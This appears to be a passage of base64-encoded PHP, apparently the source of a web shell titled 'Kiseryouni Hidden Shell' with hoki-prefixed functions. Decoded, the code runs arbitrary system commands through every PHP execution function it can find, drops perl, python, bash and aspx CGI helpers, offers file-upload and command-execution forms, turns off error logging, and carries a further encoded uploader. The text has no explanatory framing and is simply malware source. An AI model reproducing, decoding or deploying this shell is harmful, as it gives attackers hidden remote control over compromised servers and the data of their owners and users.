iYlpEQlM4TXdHTVhQeTE5UjY2RXR6aFJrN0RBM0wxcnhJdE90M2dhalRiNnR3VFFKeWRleElmN3ZKcXZNaVI1Q3lIdnY5M2prOGlMdm5NMXJvWEp6d0VZcmd2WXdJUVBSR20weFlsdUI5VzEvVVZCVkxTSE5DT3daR1BRcFV6bEh2cVBhRFgxc1dGY094aU95MGJhTlpnR2tqd0lrWDZLMjFSWlNVRHRodFpwOUpJdmk5YTFZbHV2bm9ueWFQeVNUNUdXK0xKUFBqTENXZXpJVTBDM2dycElkcElrWEUyODF3TjcvTVlQc2JXT0Z3aWkrMXdwQjRUVWVERXdROXBnMzJNcVZYYWx3WWlJMmthOEw4NC81ZmpHdHh5TU9USE5JajNYWlZUdzFGdTVpTW1DTmtIenRrQXMxakU0UDNhRmZvaDAxMm9DNlNmL1d0RHpMZnRHVVNlM0NCdzRzdUU0Ry9yeU9XcWg0ZW80RThjVDBhM3VTT3JUQy9LanhORCtPL1FJPSI7CgkJCSRiYXNoID0gInJWUmRqNXBBRkgydXYrSTZER2ExSWF5YnBnOWFtclJib3B0WWJWMzYwSlFHV1JpRnlQSTVXcmVVLzk1aG9DeWpzZkZoNTJubTNuTS96dVRjSzNYVkJ6OVVIK3pNNnhESGkwQWhnRzZqa0pLUUt2UXBKaU9nNUVCVmp6NEdabWlHcUxQZWhRNzFveENjalc5dENMVytMTzROYTIrbjJWVS83d0E3UHdEaHBmNzFtODdzbjNWanV2aUVvS3NCS29FSWZrS3ZCeW1odXpTczBWMVFmck1RRnJEOGJ0MGJ5N3Y1eERxSDVjamJ4ZHpRNTRZMTArY1RZeXJDWHFYRWRrR1p3eEVLVHRMempIVlVJZEp5aVJPNWhIRjZwb1FsVUVJQ3c1T2Vnc2l4QTlnREJZKy9xWVp3UGxUVjF5b1Vzb3k0N1pmbkI2Uk1ra3UwQUdWRDRSb1VtekhKYVZIOWpjeFlqTUdOT0x3OCt6TE52bUFJV1RibFFZRWFEeTlBcFlIY3N2bnJDN0pUajRSTlJIazhqVUZHMTZPYlFqQlhCWmdWQ2VhNkk3VDZweE9UblFQT3ZXTFY0TlkrdjdwUlNQaUZRNnV3LzN3M1U1R29uL0t6QXdvM1p6NDdnUmkyN01zemJuUHNqQUFlZ3Y5TWJxSWJmYUgzUm1SNVd3WkZMWjFFTzNiMFJPcmpjZk1zbFNQbVBwbURDeXB6OE5ueWxmZDhEeDhYeHZSRitiME1oYVM0bkFiSmJJZGZNczlmMCtxbUljQURFQ2VtcnB3Y2owZk1DOHB5cnowWjI5SVl5N0xXTm5MWnh0SkFhOW1xZGlVY0MrSGwzaG9pWVBQeVlUWkRvSERsWmlyZ0xhajFJT0dzSm13S3BNZ2hqbExLM0Z1a29aV3dRY0JFZUcraUZSSUhveG1FbHY2NXRvRFY3aVE3a2o1cCtJcVBEM1llWGZnRGJFV1R0MjlBVWFyVS9XcGROeGlQT051enFIS3B2NHRUOHQ1MFVJZDFGYkJkd1dzVUxiOWFBLzRDIjsKCQkJJGFzcHggPSAialpOZGE5c3dGSWF2azE4aE5Bb09BWGRzb3pkTHlyclVLWWFSbHJpTk4wSXVGUHZFRmJVbDcwak9CMlA5N1QxU1BCbzh5blpsUytkNTMvUGg0OUhaRjNZbkNtRGZoQ29hZWhuenlUdk9JaVhXSlN3azdCSXJMRjF1UkdtQXM3UEwvb2dVY1ZWcnRHd21LakMxeUNpZUhJeUZLa3hoSFQ3RTdqSFJ5cUl1emI4MTExSVVTaHNycy8rQTQxdlBFTlR2R1l0U0ZTeXJjalptYy9qWmdMSGhWR08xNUhUSFY1OWZrVWZJbnY2RzNLM0g1Q1pva1RIajZjZlpkbjJ6K0NDK3orb2YxYjdjVk5PZFdMd2Y4OEd2ZnErM1BsaFlybGd1ckNERHRpcHFkZ3RJdnFpcnI4TEF4YWZFSnc2b2pnSDU5NDQxdHZROTdHMTRsVXppT0ZLWnpvazduc0lic0szTzJaT1FsSGVvTXpDRzFhUlhzR1B0T2ZDMmRVaWZCMjJzTmpxY0lOQ1htdWxVcWx6dmlMYllRQmVheWhMY1VDbnNaaFRDSG5pWHVjS2lxVUJaNDZEempIRTJkRFB1WWc4R2trY295MmdQV1dPZG85K1JMamFIWENKazFKaFF1Y0Q4dHJGMVk5OG9yd3RIaUJyZllGT05UelNxYXkvUWVQRFZuallUSEFmWXJvRCtrOWRIVDBxaHBDSy8xNUhLZ3dGMStocjJ5VStqem50Tys2aVZnVEJGYVNIZ1M2TkwyRW9qNlhkNUZyVmNqV3FFU3o0OHBodnkwYmsvTyszdlBpM3VDdz09IjsKCQkJaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7CgkJCWlmKCRsYW5nID09ICJhc3B4Iil7CgkJCQlob2tpV3JpdGVUb2NnaWFwaSgiYXNweC5hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJaG9raVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5ob2tpIiwkc291cmNlKTsKCQkJfQoJCQlob2tpY2dpaHRhY2Nlc3MoJ2NnaScsICJob2tpY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJob2tpY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5ob2tpIjsKCQlpZigkbGFuZz09ImFzcHgiKXskY2dpX2V4dCA9ICIuYXNweCI7CgkJfQoJCSRjZ2lfdXJsID0gX19IT0tJX0RBVEFfRk9MREVSX18uIi9ob2tpY2dpYXBpLyIuJGxhbmcuJGNnaV9leHQ7CgkJJGNtZCA9ICJjaGVjaz1XM052YkdWMmFYTnBZbXhsZm1Gd2FWMD0mY21kPSIuX19aVzVqYjJSbGNnKCJjZCAiLiRHTE9CQUxTWydjd2QnXS4iOyIuJGNtZCk7CgkJaWYoJGlzX2N1cmwpewoJCQkkYWRkcmVzcyA9ICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKS4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS5kaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iLyIuJGNnaV91cmw7CgkJCSRwb3N0ID0gbmV3IEhva2lDVVJMKCk7CgkJCSRkYXRhID0gJHBvc3QtPlNlbmQoJGFkZHJlc3MsICJwb3N0IiwgJGNtZCk7CgkJfWVsc2VpZigkaXNfc29ja2V0KXsKCQkJJHNlcnZlciA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOwoJCQkkdXJpID0gZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkZGF0YSA9IF9ob2tpX2Zzb2Nrb3Blbigkc2VydmVyLCR1cmksJGNtZCk7CgkJfQoJCSRvdXQgPSAiIjsKCQlpZihzdHJwb3MoJGRhdGEsICJba2lzZXJ5b3VuaX5hcGldIikgIT09IGZhbHNlICYmIHN0cnBvcygkZGF0YSwgJ1traXNlcnlvdW5pfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJG91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2hva2lfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9ob2tpX2NnaWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfaG9raV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9faG9raV9zZXRfY29va2llKCJob2tpY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3Rpb24gaG9raUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24gaG9raUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfaG9raV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJCWlmKHN0cmxlbihfaG9raV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9ob2tpX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHVybiAkZGF0YTsKfQpmdW5jdGlvbiBfaG9raV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3NlKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRob2tpV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiRleGVjID0gJGhva2lXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnaG9raTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2hva2lfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9TVCB7JHVyaX0gSFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3NldCgkX0dFVFsia2lzZXJ5b3VuaSJdKSl7CkBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7CmVjaG8gJzxodG1sPic7CmVjaG8gIjx0aXRsZT5LaXNlcnlvdW5pIEhpZGRlbiBTaGVsbDwvdGl0bGU+IjsKZWNobyAiPGJvZHkgYmdjb2xvcj0jMDAwMDAwPiI7CmVjaG8gJzxiPjxiaWc+PGZvbnQgY29sb3I9IzdDRkMwMD5LZXJuZWwgOiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGRiI+Jy4oZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKT9waHBfdW5hbWUoKTonPz8/JykuJzwvZm9udD48L2I+PC9iaWc+JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+T2ZmPC9iPiI7fQplY2hvICI8YnI+PGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5PUzogPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiBQSFBfT1MgLiAiPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNvZnR3YXJlOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSIFsnU0VSVkVSX1NPRlRXQVJFJ10gLiAiPC9mb250Pjxicj4iOwplY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gICI8L2ZvbnQ+PGJyIC8+IjsKZWNobyAiUFdEOjxmb250IGNvbG9yPSNGRkZGRkY+ICIgLiBzdHJfcmVwbGFjZSgiXFwiLCIvIixAaG9raUdldEN3ZCgpKSAuICIvPGJyIC8+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TYWZlIE1vZGUgOiAkcjxicj4iOwplY2hvIjxmb250IGNvbG9yPSM3Q0ZDMDA+RGlzYWJsZSBmdW5jdGlvbnMgOiA8L2ZvbnQ+IjsKJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwppZihlbXB0eSgkZGlzZnVuKSl7JGRpc2Z1biA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk5PTkU8L2ZvbnQ+Jzt9CmVjaG8iPGZvbnQgY29sb3I9cmVkPiI7CmVjaG8gIiRkaXNmdW4iOwplY2hvIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5Zb3VyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U2VydmVyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIuKGZ1bmN0aW9uX2V4aXN0cygnZ2V0aG9zdGJ5bmFtZScpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk6Jz8/PycpLiI8L2ZvbnQ+PGJyPjxwPiI7CmVjaG8gJzxocj48Y2VudGVyPjxmb3JtIG9uU3VibWl0PSJ0aGlzLnVwbG9hZC5kaXNhYmxlZD10cnVlO3RoaXMuY3dkLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jd2QudmFsdWUpKSk7IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICdDV0Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjd2QiIHZhbHVlPSInLnN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpLicvIiBzaXplPSI1OSI+PHA+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjQ1Ij48aW5wdXQgbmFtZT0idXBsb2FkIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgX19aR1ZqYjJSbGNnKEAkX1BPU1RbJ2N3ZCddKS4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXtlY2hvICc8Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PGNlbnRlcj5VcGxvYWQgU3VjY2Vzc2Z1bGx5IDspPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PC9iPjxicj48YnI+PC9jZW50ZXI+JzsgfQplbHNle2VjaG8gJzxjZW50ZXI+PGI+PGZvbnQgY29sb3I9IiM3Q0ZDMDAiPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAiPjwvYj48L2NlbnRlcj48YnI+PGJyPic7IH0KfQplY2hvICc8aHI+PGZvcm0gb25TdWJtaXQ9InRoaXMuZXhlY3V0ZS5kaXNhYmxlZD10cnVlO3RoaXMuY29tbWFuZF9raXNlcnlvdW5pLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX2tpc2VyeW91bmkudmFsdWUpKSk7IiBtZXRob2Q9IlBPU1QiPkV4ZWN1dGUgQ29tbWFuZDogPGlucHV0IG5hbWU9ImNvbW1hbmRfa2lzZXJ5b3VuaSIgdmFsdWU9IiIgc2l6ZT0iNTkiIHR5cGU9InRleHQiIGFsaWduPSJsZWZ0IiA+PGlucHV0IG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiB0eXBlPSJzdWJtaXQiPjxicj48L2Zvcm0+Cjxocj48cHJlPic7CmlmKGlzc2V0KCRfUE9TVFsnY29tbWFuZF9raXNlcnlvdW5pJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwoka2lzZXJ5b3VuaSA9ICJjZCAnIi5hZGRzbGFzaGVzKHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpKS4iJyIuJHNlcGFyYXRvci4iIi5fX1pHVmpiMlJsY2coJF9QT1NUWydjb21tYW5kX2tpc2VyeW91bmknXSk7CmVjaG8gaG9raUV4KCRraXNlcnlvdW5pKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBob2tpR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAaG9raUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBob2tpR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHTE9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfaG9raV9maWxlX2V4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKXsKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJIT0tJX1RFTVBESVIiLChmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSA/IChAaXNfd3JpdGFibGUoc3RyX3JlcGxhY2UoJ1xcJywnLycsc3lzX2dldF90ZW1wX2RpcigpKSk/c3lzX2dldF90ZW1wX2RpcigpOihAaXNfd3JpdGFibGUoJy4nKT8nLic6ZmFsc2UpKSA6IGZhbHNlKSk7CmZ1bmN0aW9uIGhva2loZWFkKCl7CiRHTE9CQUxTWydfX0hPS0lfU0hFTExfQ09ERSddID0gJ1BEOXdhSEFnWldOb2J5QWlQSFJwZEd4bFBsTnZiR1YyYVhOcFlteGxJRlZ3Ykc5aFpHVnlQQzkwYVhSc1pUNWNianhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JqeGljajVjYmp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSjNhR2wwWlZ3aVBqeGlQbGx2ZFhJZ1NYQWdRV1JrY21WemN5QnBjend2WWo0Z1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQand2Wm05dWRENDhMMk5sYm5SbGNqNWNianhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN1pXTm9ieUFrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUdGxZMmh2SUNJOEwyTmxiblJsY2o0OEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQVndpSXpkRFJrTXdNRndpUGx4dVBHSnlQbHh1UEdKeVBseHVQR05sYm5SbGNqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dVBHTmxiblJsY2o0OFptOXliU0J0WlhSb2IyUTlKM0J2YzNRbklHVnVZM1I1Y0dVOUoyMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRW5JRzVoYldVOUozVndiRzloWkdWeUp6NGlPMlZqYUc4Z0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTSTBOU0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ0OEwyTmxiblJsY2o0bk8ybG1LR2x6YzJWMEtDUmZVRTlUVkZzblgzVndiQ2RkS1NZbUpGOVFUMU5VV3lkZmRYQnNKMTA5UFNBaVZYQnNiMkZrSWlsN2FXWW9RRzF2ZG1WZmRYQnNiMkZrWldSZlptbHNaU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLU2tnZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCVGRXTmpaWE56Wm5Wc2JIa2dPeWs4TDJadmJ